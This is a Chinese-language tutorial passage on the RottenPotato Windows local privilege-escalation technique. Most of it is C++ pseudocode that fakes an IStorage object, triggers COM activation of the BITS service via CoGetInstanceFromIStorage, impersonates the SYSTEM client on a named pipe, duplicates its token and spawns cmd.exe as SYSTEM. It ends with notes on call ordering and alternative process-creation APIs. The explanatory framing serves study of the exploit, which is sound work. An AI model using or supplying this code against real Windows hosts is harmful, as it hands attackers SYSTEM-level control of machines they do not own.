// 伪代码,略去了错误检查、完整结构体定义和线程处理,只看原理流程
#include
#include
#include // IStorage
#include // 转储令牌
#include
// 你定义一个假的 IStorage 对象(继承接口),这里只展示 Load 方法:
class FakeStorage : public IStorage {
public:
ULONG STDMETHODCALLTYPE AddRef() { return 1; }
ULONG STDMETHODCALLTYPE Release() { return 1; }
HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppvObject) {
*ppvObject = this;
return S_OK;
}
HRESULT STDMETHODCALLTYPE Load(IStream* pStm) {
// Load 被 SYSTEM 调用时会触发,你可以记录下是否命中
printf("[+] SYSTEM 调用了你的 Load()\n");
return S_OK;
}
// 其它 IStorage 方法略,全都返回 STG_E_ACCESSDENIED 或 STG_E_INVALIDFUNCTION 即可
};
// 监听一个命名管道,等 SYSTEM 连进来
void ListenPipeAndImpersonate() {
HANDLE hPipe = CreateNamedPipeW(L"\\\\.\\pipe\\6666", PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE | PIPE_WAIT, 1, 4096, 4096, 0, NULL);
printf("[*] 等待 SYSTEM 连接管道...\n");
ConnectNamedPipe(hPipe, NULL); // 阻塞等待 SYSTEM
printf("[+] SYSTEM 连接成功,尝试模拟...\n");
ImpersonateNamedPipeClient(hPipe);
HANDLE hToken;
DuplicateTokenEx(GetCurrentThreadToken(), MAXIMUM_ALLOWED, NULL, SecurityImpersonation,
TokenPrimary, &hToken);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
// 使用 SYSTEM 的令牌创建新进程
CreateProcessAsUserW(hToken, L"C:\\Windows\\System32\\cmd.exe",
NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
printf("[+] SYSTEM shell 启动成功!\n");
}
// 主函数调用 COM 激活接口
int main() {
CoInitializeEx(NULL, COINIT_MULTITHREADED);
// 初始化 COM 安全性
CoInitializeSecurity(NULL, -1, NULL, NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_NONE, NULL);
// CLSID 是 BITS 服务(Background Intelligent Transfer Service)
CLSID clsid;
CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &clsid);
// fakeStorage 是我们伪造的 IStorage 对象
FakeStorage* fakeStorage = new FakeStorage();
COSERVERINFO csi = { 0 };
csi.pwszName = L"127.0.0.1"; // 激活本地的 SYSTEM 服务
MULTI_QI mqi = { 0 };
mqi.pIID = &IID_IUnknown;
// 通过 COM 请求 SYSTEM 激活服务,并传入我们的 fakeStorage 接口
HRESULT hr = CoGetInstanceFromIStorage(&csi, &clsid, NULL,
CLSCTX_LOCAL_SERVER, fakeStorage,
1, &mqi);
printf("[*] 请求 COM 激活,等待命中管道...\n");
// 启动监听线程,等 SYSTEM 连接进来
ListenPipeAndImpersonate();
CoUninitialize();
return 0;
}
你得在调用 CoGetInstanceFromIStorage()
之前 就 CreateNamedPipe()
并监听,否则 COM 无法绑定到你的通道。
COM 绑定规则是“当前线程的 RPC 注册表中的 listener”(比如你用 CoInitializeEx()
和 CreateNamedPipe()
后的线程)。只要你在调用 COM 之前开好了 listener,COM 机制默认会使用你开的那个。
本代码的问题
理论上是需要先创建并监听管道,然后才触发 COM 服务访问管道,这样才能模拟令牌。
但是在实际实现中,有些漏洞利用代码(例如 RottenPotato)确实是先执行了 CoGetInstanceFromIStorage()
,然后再创建管道和监听。为什么这么做?
这是因为 Windows 的 COM 服务在某些情况下会等待客户端连接,如果客户端连接失败(如管道没有监听),会触发异常或错误,因此这个过程并不严格按照理论流程来执行。
作者的实现方式利用了 CoGetInstanceFromIStorage()
时 COM 服务自动连接到目标服务的特性,即便管道稍后才开始监听,连接时 COM 会触发令牌模拟和 Impersonate
操作。
所以在实际利用中,虽然顺序上会先调用 CoGetInstanceFromIStorage()
,但你要确保管道创建和监听的线程始终可用,以避免意外失败。
CreateProcessAsUserW()
与其他 API至于提权后创建进程,烂土豆的作者主要用的是 CreateProcessAsUserW()
,它是 Windows 中用来以指定的令牌创建新进程的标准 API。
然而,理论上,你确实可以使用其他函数,如 CreateProcessWithTokenW()
,或者手动管理进程和令牌等。关键是,你需要有一个有效的 SYSTEM 权限令牌,并通过它来创建一个新的进程,通常是 cmd.exe
或 powershell.exe
。